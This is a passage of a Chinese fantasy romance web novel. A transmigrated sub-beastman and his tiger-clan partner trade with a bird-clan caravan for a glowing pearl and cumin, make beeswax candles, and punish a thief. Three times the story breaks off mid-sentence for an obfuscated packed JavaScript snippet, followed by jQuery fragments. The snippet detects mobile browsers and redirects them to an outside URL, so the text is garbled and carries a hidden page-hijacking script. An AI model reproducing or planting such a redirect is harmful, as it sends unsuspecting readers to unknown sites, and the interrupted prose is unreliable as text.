“只有百年以上的月光贝才能产出这种个大圆润的夜明珠。”羽族的兽人解释,“换夜明珠的话,小的一百张一等兽皮,中间的一百五十张一等兽皮,这个最大的要两百张一等兽皮。珠子越大照亮的范围越大,也更明亮。”
羽族兽人一脸得意的解释,他没指望风浅能买,就是想要炫耀一下。羽族和黎山部落交易这么多年了,别说夜明珠,最小的珍珠黎山部落都没买过几个。
在他看来,陆地上的这些部落,黎山部落兽人的战斗力虽然很强,但也没有有陶部落、盐咸部落富有,甚至不如蚕桑部落。蚕桑部落战斗力不行,给人的印象是个靠织布勉强糊口的孱弱部落。但外人不知的,蚕桑部落那才是真的富有。
他们与蚕桑部落的交易大都是用蚕丝布,有时也会特意给蚕桑部落运海盐。所以蚕桑部落才不需要年年往盐咸部落去换盐砖。
“那就这个大的吧。”玄说,“我们先回去拿兽皮。”
“玄……”风浅叫道。
兽皮是兽人大陆上仅次于盐的硬通货,一下拿出两百张,就为了买个会发光照亮的珠子,这也太浪费了。
玄拉着风浅挤出羽族的摊位,“空间里最近添置的东西有些多,快放不下了。把兽皮换成夜明珠也能省些地方。”
风浅顿了顿,问道,“是攒太多窝窝绒了吗?”他前些日子用肥皂和部落里的人换了六十多袋的窝窝绒,全塞在玄的空间里了。
玄不置可否,“那你是要把窝窝绒扔出来,还是把兽皮换成夜明珠腾出点儿位置?”
这还真是不好选了,鱼和熊掌。
两人走在山岗上,往山洞走。
“我本来想用上午找到的蜂巢做几根蜡烛的。”风浅边走边说。
“用蜂巢做蜡烛?蜡烛是什么?”玄问。
“照明的,作用和夜明珠一样。”风浅解释,脚步一顿,想起什么,突然高兴了,追上玄,“我们今晚就做蜡烛吧,做完卖给羽族。”
“行啊,还有什么想要的?”玄问。
“不是说明天还有一队羽族的人来吗,到时再看看呗。”
两人走到洞口,风浅像往常一样去开门。
玄突然阻止,“别动!有人来过。”
他每次出门都会在藤条编的木板上留下记号,现在记号被人拆散了,而且,他闻到了别的兽人的气息,一股子黄鼠狼的骚味,即使抹了特殊的草汁都遮不掉那股另人恶心的骚气。
玄把门板搬到一边儿,山洞里几乎所有的东西都被挪动过位置,好在只有些石凳、石板,其余的东西都被他收在空间里了。
但窝里的兽皮被卷走了。玄眼色一沉。
采集队一般都会比狩猎队先回部落,为了方便提前回来的风浅休息,窝里的兽皮一般是不收进空间的。
风浅来了之后窝里的兽皮每天都要换一次,他真该庆幸丢的兽皮是今早才换上的。
可一想到曾裹着风浅的兽皮被别人拿走了,甚至用了,他就浑身不自在,好像有人隔空动了风浅一样!
风浅自然不知道玄心里的弯弯绕,咋了咋舌,感叹着真是贼不走空,连铺盖卷都不放过。
“能看出是谁干的吗?部落里的?”风浅问。虽然损失不算大,但家里被贼走了一遭,总让人觉得恶心。
“嗯。”玄点点头,脸上恢复了平静,轻笑,“今晚我出去一趟。”
“能打过?”风浅马上明白了。每个兽人的气息都不一样,玄这是认出了闯空门的小贼,还想趁着月黑风高把人套麻袋揍一顿。够干脆,他喜欢。如果异能还在,他一定跟着玄一起去。
玄看着风浅,“这部落里,没人是我的对手。”
“那你小心点儿,别闹出人命。”风浅嘱咐。
玄意外地看了眼自己娶回来的这个亚兽人。他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040093|162487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
记得兔族的人都挺平和的,风浅竟然同意他去揍人吗,劝都不劝的。也是,这人当初在沙漠里就卸过红月的下巴。
玄从空间里数了两百张一等的兽皮,两人扛着兽皮又去了部落山谷里。
不过,最大的夜明珠被祭司换走了。
祭司用两大捆黎山部落特有的止血治伤的草药从羽族手里换了最大的那颗夜明珠。
旁边的族长九脸色黑如锅底,盯着那两捆草药,欲言又止。
祭司捋了捋花白的山羊胡子,老神在在,丝毫不在意九的脸色,“药草是我的几个小徒弟孝敬我的,又不是部落采集的,你装哪门子脸色给我看。”
“而且,这夜明珠是兽神大人托梦给我,说今年冬祭祭奠一定要供奉上的。”祭司理直气壮。他并非故意和风浅抢,而是看上这珠子好几年了,就是换珠子的药草也攒了有几年了。
兽人大陆信奉兽神,而祭司被视为兽神的使者,祭司这样说了,族长九再说别的就要被说是对兽神不敬了。
九瞪着一双虎瞳,表情有些狰狞,可见忍得不容易。
族里老人总是说兽神兽神,可兽神到底在哪儿!发洪水的时候兽神不在,森林火灾的时候兽神不在,族人狩猎被野兽袭击的时候兽神也没在,兽神到底庇护了族人什么!
既然兽神无用,那他们为什么每年都要花费大量的食物、物资来供奉兽神,供养兽神的使者——祭司,以及祭司的那些学徒!
整个部落,刚学会走路的幼崽都知道要靠自己的双手采集食物,只有祭司和祭司的学徒们,高高在上,整日一副清贵的样子,却理所当然的伸手跟部落要吃的!
现在还借着兽神之口想要夜明珠!
无所不能的兽神怎么会需要这种照明的珠子!
黎山部落的图腾是一只长着翅膀的虎,骁勇无比,这样的兽神,怎么会要一枚华而不实的珠子!
族长九红了眼。
因为羽族的到来,祭司特意穿了蚕丝布的长袍,双手捧着换到的夜明珠,身后跟着几个小学徒,心满意足地从九的面前经过,回了山洞。
九脸色阴沉,一眼瞥到扛着兽皮过来的玄和风浅,瞪了玄一眼,恨铁不成钢,“平时跑的挺快,关键的时候连个糟老头子都比不上。”
若是玄抢在前头换了最大的夜明珠,祭司就只能退而求其次,挑个小点儿的,那样能省下不少药草。对玄来说,九的迁怒责怪纯属无妄之灾了。
“前些日子,狼天受伤,流了好多血,祭司还说止血药不多了,要留到关键救命的时候再用,现在……”人群里有人不满。
九脸色更难看了,当时为了给狼天要药草,他还跟祭司吵了两次。只是祭司每次都说他年轻不懂事,遇事冲动不沉稳。
九“哼”了一声,气哼哼地走了。
风浅和玄互相看了看,有些无奈,什么叫阎王打架小鬼遭殃。祭司和族长之间的分歧真是越来越大了。
有了九和祭司之间的较量,虽然不该这样想,但好像被祭司抢了珠子的事也不是那么让人生气了。
风浅主动提出,“咱们就换这个中间大小的吧。反正山洞也不大,够用了。最大的那个,我一手也握不住,拿着还不方便。”
玄点头算是同意了,数了一百五十张兽皮给羽族。瞥见旁边的贝壳盆,眉头微不可察地动了动,挑了颗皓白的珍珠问羽族兽人,“这个怎么换。”
21. 羽族商队3(捉虫)
玄以前见过有陶部落和盐咸部落的亚兽人会把珍珠装扮在头上,有的亚兽人还会把自己的耳朵扎个洞,把珍珠挂在耳朵上,虽然荡来荡去的珍珠很好看,但他舍不得在风浅的耳朵上扎洞。
羽族没想到这次来黎山部落还能有这么大的收获,接连换出两颗夜明珠,现在又问珍珠,羽族兽人一脸热切地笑道,“这个不贵,二十张兽皮就行了。”
玄把珍珠比在风浅的额头,“回去穿个孔,给你戴额头上。”
风浅想翻白眼了。他一个男人,虽然是亚兽人,又不是富婆,戴什么珍珠啊。
而且玄这什么暴发户的审美,抵在他额头上的珍珠有他鼻头大了。不知道的还以为撞墙上肿了个囊包呢。
风浅握住玄的手腕,讨饶商量着,“换个小点儿的吧,我脸小,这个太大,不合适。”
“那你自己挑,但要白的。”玄说。和他一个颜色。
挑了珍珠,风浅又用一块肥皂换了四个贝壳碗,贝壳碗没有木碗石碗结实,但胜在漂亮、轻便。
“唉唉唉,先过来,咱俩把这两个半袋的麦籽倒一个袋子里。我看这两个半袋的麦籽倒一起差不多能凑一袋了。”
最末尾的摊位,两个羽族的兽人正在规整和黎山部落换回来的物资。羽族的饮食不管是兽人还是亚兽人都更偏爱麦籽、野果一类。换得的麦籽野果一般是直接运回羽族部落。
风浅往那边摊位瞧了瞧,黎山部落果然拿了不少干野菜、大小硬壳果,甚至还有麦籽与羽族交易,半个下午的工夫,羽族摊位后边已经堆了一大堆用兽皮袋打包好的干菜野果。
他看着羽族大包小包的麦籽眼红。蓝星人哪个不喜欢香喷喷的米饭、暄软软的馒头,总得喜欢一样吧。他看着羽族这么多麦籽都想打劫了。
他的“彩礼”只有两块盐砖,当初兔族给他的“嫁妆”也只有别人的一半,就半兽皮袋的麦籽。想着留种,都没舍得吃。之前在部落内部推销肥皂的时候怎么就只想着换窝窝绒,忘了还能换麦籽呢。
“这几袋是从溪山部落换回来的,都是半袋,没装满,怪占地方的,看看有没有能规整到一起的。凑成整袋,等枭他们来了之后一起运回去。”又一个羽族兽人从山洞里拎出七、八个都是装了半袋的兽皮袋。
正在整理物资的羽族兽人随手接过一个兽皮袋,打开兽皮袋的动作一顿,整个人好像被定住了,半秒后才有了反应,一个喷嚏接着一个,一个高过一个,又高又壮的兽人瞬间变得梨花带雨,楚楚可怜。
风浅鼻子动了动,眼睛一亮,瞬间忘了麦籽,是孜然!这兽人是被孜然的气味儿呛到了!
风浅抬腿就要去那个摊子,玄一把抓住风浅的胳膊,提醒道,“那个摊位上的东西是不交换的。”
不换也要硬换啊,那可是孜然!穿过来这么多天了,别说辣椒,风浅连根野葱、姜叶都没看到,突然遇上孜然,若是就这么放过了,晚上绝对睡不着觉的。
“试试。”风浅按住玄抓着他的手,几步跨到拿着孜然的羽族兽人面前,“你这种草籽儿怎么换。”
羽族兽人抹了把眼睛,眼尾泛着红,一脸不可思议地看着风浅,“你竟然要这玩意儿?”他们羽族都受不了的草籽儿,黎山部落这个亚兽人竟然不嫌弃。
这草籽儿也不知道是溪山部落从哪儿淘弄的,交易的时候白送给他们的。一股子呛人味儿,让人喘不上气。扔了可惜,不扔又没人下得去口,闻闻都受不了,这怎么吃啊。
这种东西若是有人要换,那是最好不过的。
羽族兽人生怕风浅反悔跑了,一脸热切,“你想怎么换?也是用肥皂吗?”
风浅打量打量那半兽皮袋的孜然,一想到抹了孜然的烤肉,口水都要流出来了,这么多,即使敞开了用,都够他用好几年了。
“三块肥皂换你这半袋草籽儿。”风浅说。
“成交!”羽族兽人没想到风浅能给这么高的价位,几乎秒答。
有了孜然,风浅迫不及待地拉着玄回了山洞。
孜然炒肉,孜然烤肉,再加个贝肉炒咕咕蛋,他已经想好今晚的菜单了。就是不知道玄能不能吃惯孜然的味道,要不然炒肉就先不放孜然,总不能让玄晚上饿着肚子去找人打架吧。
回了山洞,风浅做饭,玄在一旁按着风浅的要求捣碎蜂巢取蜂蜜。没有摇蜜的机器,就只能用笨办法。把蜂巢捣碎,用蚕丝布过滤,淋出蜂蜜。
风浅先用孜然烤了肉,见玄吃的津津有味,吃饭的速度都比平时快了些,一点儿不讨厌孜然,风浅放心地做了孜然炒肉。还好两人口味一样,不然以后做饭都得做两份。床事和吃饭的口味,这两样不合,真的没法过日子!
晚饭后,风浅将过滤完蜂蜜的蜂巢渣倒进陶锅里,开始煮蜂蜡。蜂蜡做的蜡烛无烟无味,比动物脂肪好用的多。
加热融化的蜂蜡用蚕丝布过滤,之后使用冷水浴,加快凝固的速度。
入夜,天色黑了。玄用藤条门板挡住洞口,化成兽形,无声无息地消失在山林里。
山洞里用了夜明珠,明亮如白昼,柔和的自然光线,朦朦胧胧,比白炽灯更让人舒服。
风浅坐在靠近洞口的位置,把凝固了的蜂蜡二次加热,融化,再次过滤。
他看着跳跃的火苗,看了看自己的手心,遗憾地叹了口气,也不知道异能什么时候能恢复。若是恢复了异能,今晚他就可以和玄一起出去教训那个闯了他家山洞的小贼。
风浅把过滤好的蜂蜡放在墙边一处石板上,自然冷却,明早再加热过滤一次,倒进麦籽树细枝做的细竹筒里定形,就算完成了。
风浅回到兽皮窝里,拿起一团已经处理好的窝窝绒捻线。
捻好的线缠在一截木棍上,木棍上的线最粗的地方已经有拳头粗了,这是他这段时间的劳动成功。做蜡烛芯是足够了,但距离能织布还差得太远。
捻线织布都是慢活儿,风浅想着,或许等到雪季封山的时候,他可以请部落里的亚兽人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040094|162487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
帮忙。冬季不需要采集,大家闲着也是闲着,不如跟着他赚点儿外快,他付肥皂当工钱。
“我回来了。”
听到玄的声音,风浅两步迎了过去。
深秋的凉气卷着玄进了山洞。
“这么快,顺利吗,有没有受伤。”风浅问。
“没事儿,人已经揍趴下了,应该不敢再来了。”玄回头把藤条木板合上,转身,胳膊从风浅膝盖下一抄,将风浅打横抱回了兽皮窝。
他刚刚出去不仅揍了闯山洞的贼,还把红月的几个兽人伴侣一起揍了。
不能揍红月,那就揍红月的兽人伴侣。红月这个亚兽人他忍了很久了,从换盐集市回来就三番两次的找风浅麻烦,实在碍眼。
且说羽族,第一日交易就换出去大半的货物。若非明天还有人来送货,根本坚持不了三日。
“这肥皂……”商队的领头翔掂了掂手里的肥皂,沉思片刻,对一旁的兽人空说,“你领两个兄弟带飞羽去附近找条河洗洗,看看这肥皂,是不是真的像黎山部落说的那般有用。”
飞羽是商队里另一位亚兽人。商队这次出来一共带了两个亚兽人,一男一女,女的是下午风浅给编头发的那位,男的就是现在这个飞羽。
一个多小时后,空一脸偷了腥的老鼠样,和几个兽人带着飞羽回来了。
洗过澡的飞羽犹如一枝洗去尘埃泥土的铃兰,皮肤白净细滑,及臀的苍灰色长发瀑布一样披散在身后,他跪坐在地上,发梢便轻柔的堆在细白的脚腕上。
娇软无力的亚兽人面色微红,含羞带俏,苍灰色的眼睫随着呼吸轻轻颤动,整个人像出了水的精灵,身上都是清新舒爽的水气,哪有一分之前蓬头垢面、风尘仆仆的样子。
翔大喜,一把将跪坐在面前的亚兽人拽到腿上,“这肥皂真是个好东西,若是族里所有的亚兽人都这么洗一洗,那兄弟们可有福了。”
一旁的空附和,“可不。我今个儿一进黎山部落,眼睛都不够用了。亚兽人一个个干净漂亮的,我觉得这里空气都是甜的。”
“哈哈哈。”
“哈哈哈。”
“说起来,今儿换肥皂的那个亚兽人可真带劲,那小腰扭的,真让人想一把给他掐断了。”山洞里一个兽人一错不错地盯着翔和他怀里的亚兽人,眼红着咽了口口水,继续道,“听说还是个兔族的。兔子乖顺软乎,狐狸骚浪,这两族的亚兽人可是个顶个的极品。”
空也想起这么个人了,刚要张嘴说两句,又憋了回来。那个亚兽人旁边跟着的兽人实在让他有些打怵。白天的时候,他就多往那亚兽人身上瞟了一眼,就被那个兽人瞪了,那一瞪,他手脚都凉了,好像被人掐住了脖子,他甚至以为自己要死了。
有人大笑,“要是把这个亚兽人拐手里了,那还用和他们换肥皂吗。哈哈哈……”
翔眯了眯眼睛,好像在考虑这件事的可行性,沉了沉声说道,“这个人不能轻易动。他身边的那个兽人不好对付。”
22. 羽族商队4
羽族商队交易第二日。
早饭后,风浅用浸过油的窝窝绒线做蜡烛芯,绒线一端系在一个小木棒上,小木棒横放在细麦籽竹筒上,使绒线悬挂在细麦籽竹筒中间,往细竹筒里浇灌加热融成液体的蜂蜡,放置阴凉处,静置,凝固,这蜡烛便算做成了。
玄在山洞口的空地上挑蘑菇。他们昨天去后山捡了半上午的蘑菇,为了节省时间,很多长在朽木上的蘑菇都是直接连着枯木一起收回空间的。空间里位置有限,不能这么一直放着。而且很多蘑菇需要晒干了才能吃。
风浅做完蜡烛就坐到玄的旁边,倚着玄的半边身子编晒蘑菇用的笸箩。之前熬盐的时候编过几个,但这么多蘑菇明显不够用。
“风浅,风浅!风浅你在山洞吗?”听到山岗上有人喊,风浅倏地坐直了身子,不敢继续赖在玄的身上。
玄勾着嘴角朝他笑了笑。亚兽人的脸皮太薄了,没人的时候恨不得长在他身上,一见了人就立马正经起来。
“不准笑。”风浅恼羞成怒地瞪了玄一眼,赶忙冲山岗上的亚兽人喊道,“乙,过来吧,我在呢。”
喊完了,不由得清了清嗓子,什么叫传递消息全靠吼。
过来的亚兽人乙是和风浅一个采集队的,看到坐在小石凳上低头专心挑蘑菇的玄,愣了下才开始和风浅说来的目的。
“风浅,你还用窝窝绒换肥皂吗。”乙有些不好意思地问。昨天与羽族商队的交易上被红月一闹,他们才知道部落里用窝窝绒和风浅换肥皂是占了风浅多大的便宜。
“换,怎么不换。不过被红月一闹,我也不敢继续一块肥皂一袋窝窝绒了,以后大家再拿窝窝绒来就要两袋窝窝绒一块肥皂。麦籽也可以,一袋麦籽可以换五块肥皂。”风浅解释。
乙松了口气,笑道,“应该的,应该的。”顿了下,又小心翼翼地问风浅,“我想用窝窝绒和你换肥皂,再用肥皂与羽族的商队交易,行吗?”
在黎山部落,窝窝绒除了打窝孵蛋就没有太多的用处了,和麦籽、野果、兽皮这些生存必需品相比,通过他换肥皂,间接地用窝窝绒与羽族交易这简直最明智不过了。
听了乙的话,风浅愣了半晌,他昨天下午才与羽族用肥皂做成交易,今早就有人想到这种法子,实在太出乎他的意料了。眼前的亚兽人也好,想到卖梳子的芽也好,他若是小看了这些原始人的智慧,那才真的是“鹅眼看人低”了。
见风浅不说话,乙明显变的紧张起来,肥皂是风浅做的,已经便宜的换给部落了,他却想着用风浅的肥皂与羽族换更多的东西,实在太坏、太过分了。可是山洞里实在没有更多的兽皮、野果让他与羽族交换了……
“行,肥皂换给你就是你的,你想怎么处理并不需要经过我的同意。”风浅说。他想起来了,乙的兽人伴侣就是前些日子受伤的狼天。乙和狼天是部落里少有的一对一的伴侣,狼天在秋储的时候受伤,这两人的日子,这个冬天怕是要难熬一些。
“风浅,谢谢你……太谢谢你了……”乙几乎要哭出来了。
“谢什么,肥皂又不是白给你的。”风浅安慰道。
乙吸了吸鼻子,犹豫着说,“今早部落里吃早饭的时候,红月家的几个兽人不知怎么弄的各个都鼻青脸肿,有一个还得人扶着才能走,红月的脸也拉得老长。雪晴问了问,说是因为□□权的事打起来的,也不知道真假。”
把夫夫间的那档子事直白地说成□□,对半路穿过来的风浅还是有些不适应。
风浅有些尴尬地笑道,“是吗。”
不是本土人,他也没法理解这里人的脑回路。原本两个人的事变得这么拥挤,因为这种事打起来不应该太正常了吗!不过,红月不痛快他心里的气就顺了。
乙说完急急忙忙地走了,不到晌午就和一瘸一拐的狼天扛了满满当当十兽皮袋的窝窝绒过来。后面还跟了一只膝盖高的雪狼幼崽,长毛,通体雪白,墨绿色的眼睛水汪汪的,若不是知道他兽人父亲的兽形是狼,还以为是萨摩耶或者狐狸崽子呢。小家伙背上也背了一个兽皮袋,看着又乖又可爱的。
雪白的毛茸茸幼崽,风浅DNA动了,但他也知道这是人家的幼崽,不是能随便上手撸的宠物。
相比乙的拘谨,小家伙是个社牛自来熟,“风浅阿叔,我和阿姆、阿父过来给你送窝窝绒了。风浅阿叔是要孵小宝宝了吗?”小家伙看到窝窝绒自然联想到孵蛋。
“小白,别闹。”乙喝道。换盐集市上闹的沸沸扬扬,风浅又傻又不好生养,回礼只有两块盐砖,这些在部落里并不是什么秘密。虽然传言不属实,风浅不仅不傻,还会做肥皂,但好不好生养的事……
“小孩子不懂事,看到窝窝绒就只能想到孵蛋。”乙急着解释,怕风浅误会多想。
“没事没事,我收这么多窝窝绒也不是为了孵蛋。”风浅倒是毫不在乎,他真不用别人安慰他不好生养。
风浅笑眯眯地端了碗还热乎的猪油渣给幼崽打牙祭,趁机撸了两把毛,总算过了把手瘾,这才转身跟乙和狼天清点窝窝绒。
窝窝绒类似棉花,这类东西装袋的时候,松松散散的装是一袋,紧紧实实的装也是一袋,但后者一开袋,遇了风蓬松起来,那就不是前者能比的了。多的,一袋子能顶前者的一袋半到两袋。
乙和狼天明显是后者,装窝窝绒的兽皮袋塞得跟石块似的,硬邦邦的。
对这种实诚人,风浅可做不到昧着良心做奸商。
“你这袋子塞得满,我还是给你按以前的价,一袋子窝窝绒一块肥皂。”
“这不好……”乙推拒。
“什么好不好的,袋子装的满不满,我心里有数。你别跟其他人说就行了。不过,部落周围的窝窝绒好像也摘的差不多了。”风浅强行转移话题。
两人推拒一番,风浅数了十块肥皂,又搭了一包猪油渣给幼崽,没办法,小白吃的鼻头上都是油渣,实在太可爱了。不能随便撸,但不妨碍他投喂啊。而且他们家最近一直在做肥皂,玄跟部落分猎物都只挑板油多的部分,家里实在不缺油渣。
送走乙一家,过了晌午,部落山谷那边又吵嚷热闹起来,是羽族补货的小队过来了。
风浅和玄收拾收拾往部落里去。
补货小队带来最多的就是咸鱼、干海菜、干贝肉这些干货,还有一些南部大陆上特有的野果。
风浅看到了比人高的粉色香蕉串,单个香蕉足有玉米棒大小,还有橄榄球大小的柠檬、橘子、柚子的综合体芸香果。他真想研究研究这些水果的基因组了。
鲜水果容易坏,羽族商队带来的不多,大家也都是几个几个的换,就尝个新鲜。
风浅在各个摊位上转了一圈,羽族这次又带来不少红薯,风浅用六张兽皮换了两袋,其余的打算晚上卖了蜡烛再说。
然而……
风浅做的蜡烛一指粗,大概十五公分高,蜡身是漂亮的橘黄色,莹润剔透。好不好用不知道,看起来是真好吃,隐隐约约还带着蜂蜜的香甜。
他点了一根蜡烛在山洞里试用,晕黄的烛光摇摇曳曳,很有情调。
借着烛光,风浅用煮过的木棍搅了搅发酵葡萄的陶罐,酒香和葡萄香顿时溢满整个山洞。葡萄发酵的差不多了,羽族的摊位上有陶器,之前留着装酒的陶罐被装蜂蜜了,得换个陶罐装酒。
“那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040095|162487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
再拿捆兽皮吧。”玄建议。
风浅蹲在酒坛子边上眨眨眼,仰头看玄,可怜兮兮,“蜡烛,不行吗。”
换了夜明珠玄空间里的兽皮也不多了,他觉得自己有点儿像传说中的败家“婆娘”,跟了玄还没多久,先把玄攒了多年的家底败的差不多了。可以的话,他不想再用兽皮与羽族交换物资。
玄朝着石板上立着的蜡烛努了努了下巴,“蜡烛不像夜明珠可以持续用下去,消耗有些快,羽族一定不会放过这点。想换陶器怕是有些困难。”
风浅眼巴巴看着已经烧下去一个凹坑的蜡烛,他怎么就忘了这点,光想着蜡烛在兽人大陆是个稀罕物,可偏偏兽人大陆有夜明珠!
蜡烛若是卖的太贵了,对能买起蜡烛的人来说,还不如多攒点儿东西换夜明珠呢。
但做都做了,总得拿出去试试,换不了陶器还可以换其他的。
风浅用蚕丝布将酒坛子重新封好,两人拿了兽皮、蜡烛、肥皂去部落山谷里。
部落里也已经用过晚饭,天色全黑,山谷中央一堆篝火通明,很多白天忙着狩猎采集的兽人亚兽人纷纷出洞,在羽族的摊子上闲逛。
风浅拿出蜡烛,用打火石引燃,晕黄的烛光摇曳,瞬间吸引人了不少人的视线。
“不用堆柴生火,打火石一点就着,方便简洁,持续稳定的照亮,无烟无味,尤其适合在山洞里使用,有了蜡烛,晚上休息之前可以多做很多事情。”风浅向羽族介绍蜡烛的好处。
“风浅,你这个蜡烛可以在部落里换吗。”
“是啊是啊,大家都很想要,好东西也不一定非要和羽族交换吧。”
黎山部落几个亚兽人目光热切地盯着风浅手里的蜡烛。
风浅转头看背后喊话的人,“可以,但只换麦籽。”
麦籽算是比较优质的口粮,耐饿,易储存,即将步入雪季,若不是有更需要的东西,一般不会拿麦籽与人交换。风浅一出声,黎山部落喊着要换蜡烛的声音骤然小了。
“你想用蜡烛换什么?”羽族兽人翔沉声问道。
“你这蜡烛燃烧的很快,烧完就没了,并不能像夜明珠一样一直照亮。”翔在商队行走多年,眼光毒辣,很快指出重点。
已经从玄嘴里听过一遍类似的话,风浅反应也没之前那么大了,坦然接受。
“换陶罐。”
翔略微停顿,“陶罐的话三十根蜡烛。”
“三十根?!”风浅惊讶,这价要的是够狠的。他留了一半蜂蜡准备做冬季保湿用的膏脂,只用了一半蜂蜡做蜡烛,一共才做了七根,还有一根被他点着当样品了。
风浅摇头,“若是用兽皮换陶罐呢。”
兽皮换陶罐是固定的价格,三十张一等兽皮一个陶罐。
最后,风浅用三十张兽皮换了一个陶罐,三根蜡烛换一串人高的粉香蕉,又三根蜡烛换一兽皮袋芸香果,点燃的那根蜡烛,风浅添了一块肥皂和部落里一个亚兽人换了一袋麦籽。
“唉?这就没了?真没了?我就来晚了一步……”扛着麦籽过来的亚兽人一脸失望,追问,“风浅,你还可以再做蜡烛的,是不是?”
“风浅……”亚兽人一副快哭出来的表情。
风浅扛不住了,“行行行,但做蜡烛的材料不多了,都有谁想要,先过来跟我说一声,后天早晨采集的时候拿给你们。”
又有人问,“风浅风浅,不用麦籽行不行,我拿两袋地长果换。”地长果就是长的像山药的一种植物块茎,但有成年人手腕粗。
“两袋晒干的硬壳果行吗?”
羽族不喜欢蜡烛,但在黎山部落却意外的受欢迎。
23. 喝酒误事(上)
羽族商队交易结束,部落里的生活恢复正轨。
半夜里气温骤降,风浅打着哆嗦被冻醒,玄看着怀里的亚兽人,沉思半晌,化成兽形将风浅埋在肚皮下的软毛里。
清早一醒,身边便躺着一只俊逸威武的大白老虎,全身都陷在大白老虎蓬松松的绒毛里,风浅将脸埋在大白老虎的胸口,深深吸了一口,浅淡的青草香,还有猫猫身上特有的香气,风浅称之为“人薄荷”,一大早就有这样的待遇,人生圆满了。
但还不够,趁着大白老虎安安静静地睡着,风浅双臂缠上大白老虎的脖颈,整个人往上凑了凑,去亲大老虎粉白的鼻头。老虎依旧没醒,风浅决定“蹬鼻子上脸”,一次吸猫吸个够,摸了摸纤白浓密的虎须,双手捧着大白老虎的脸颊,一口亲上大猫的眼睛,糊了大猫一脸口水,又瞄准了头顶圆圆的虎耳……
虎族的耳朵一般只给最亲近的人摸,小的时候是父母双亲,长大了就只给伴侣摸。玄的耳朵特别敏感,他每次想摸都得好说歹说地求一会儿,再答应一堆有理没理的不平等要求。
当初换盐集市上第一次见面的时候,他抱着玄“非礼”,就是要摸到耳朵的时候,差点儿被玄开膛破肚,当时玄施加在他身上的威压比僵尸王还可怕。
风浅看了眼还没被他折腾醒的玄,心里一喜,多亏了昨晚的葡萄酒。他就说玄一个没见过酒、头一次喝酒的原始人,怎么可能比他厉害。瞧瞧,睡了一晚上还不够,现在被他这么折腾也没醒……
想到自己比玄先醒酒,风浅有些得意,伸手就去勾毛茸茸的虎耳——
“啊!玄——”风浅惊叫地看着突然站起来的玄。
眼看着得手了,风浅就被缠在腰上的尾巴拽了回去……
“疼啊。”风浅揉了揉命运多舛的腰,“勒死我了,拽成两节了……”
神采奕奕的大白老虎哪有一丝刚睡醒的样子,琥珀色的猫眼微眯,带着几分精明狡黠,居高临下,深深盯着身下的亚兽人。
风浅咽了口口水,眼巴巴地望着站在自己上方的大白老虎,那四只健硕有力的虎爪,小柱子似的立在他身体两侧。兽形的玄像座小山站在他上方,威严却优雅矜贵。
古潭一样的眸子,沉敛幽深,许是虎族,所以天生王者,纵使年少,眉眼间已初显王者风范,好像君临天下的少年君主,让人想要臣服。
如果这人(虎)不是半眯着眼睛一副猫捉老鼠的样子看着他的话……
“你装睡,不怨我。”风浅偏了偏头,躲开玄幽幽打量的视线。
玄用虎爪扶正风浅的脸,毛茸茸的老虎脸带上几分笑意,“被你又摸又亲的,睡着也得醒了。”
“你若是醒了,我不就不亲你摸你了吗……”风浅辩解。
玄不说话,挑挑眉看着风浅,一脸所以他才装睡啊的表情。
带着倒刺儿的虎舌在风浅脸上舔过,玄化回人形,风浅闭上眼睛,放松身体,微微张着嘴,等玄把这个吻加深——
静默。
半秒后,什么也没有。
风浅不禁睁开眼睛,满眼疑惑地看玄。这老虎向来能吃,今天怎么反常了,送到嘴边都不动。酒劲儿还没过吗,以后可不能让玄喝了。
不是第一次经验不足,酿了假酒吧。风浅倏地从床上坐起来,又是一惊,他没想到自己能起的这么利索,除非昨晚……
他喝了酒之后就没记忆了。都说酒后乱*,假酒效果就相反了?
“玄……”风浅顿觉不好,双手抱住玄的一只手,迫切想要知道玄是不是喝假酒喝坏了,身上还有没有哪里不舒服。
玄轻笑,弹了下风浅的额头,“今天不行,狩猎队今天去的地方远,天一亮就要走。你再睡会儿。”
风浅眨巴眨巴眼,原来是这么回事,却依旧有些不放心,抓着玄的手腕,犹豫道“你……”
“你喝完酒之后,身上有没有不舒服?”问完又自顾自地解释,“毕竟你是第一次喝酒,有的人酒精过敏,得小心注意一点儿。”
“酒精过敏?”玄看着风浅,眉头微动,追问,“‘酒精’就是酒吗?‘过敏’是什么意思,也是你们兔族特有的说法吗?”
风浅愣了下,尴尬地笑笑,含糊地点点头,不肯定也不否定,解释道,“每个人身体情况不同,有的人怕冷,有的人怕热,有的喜欢吃酸的,有的人喜欢吃甜的。有些人不适合吃某些东西,吃了身体会不舒服,就是过敏。”
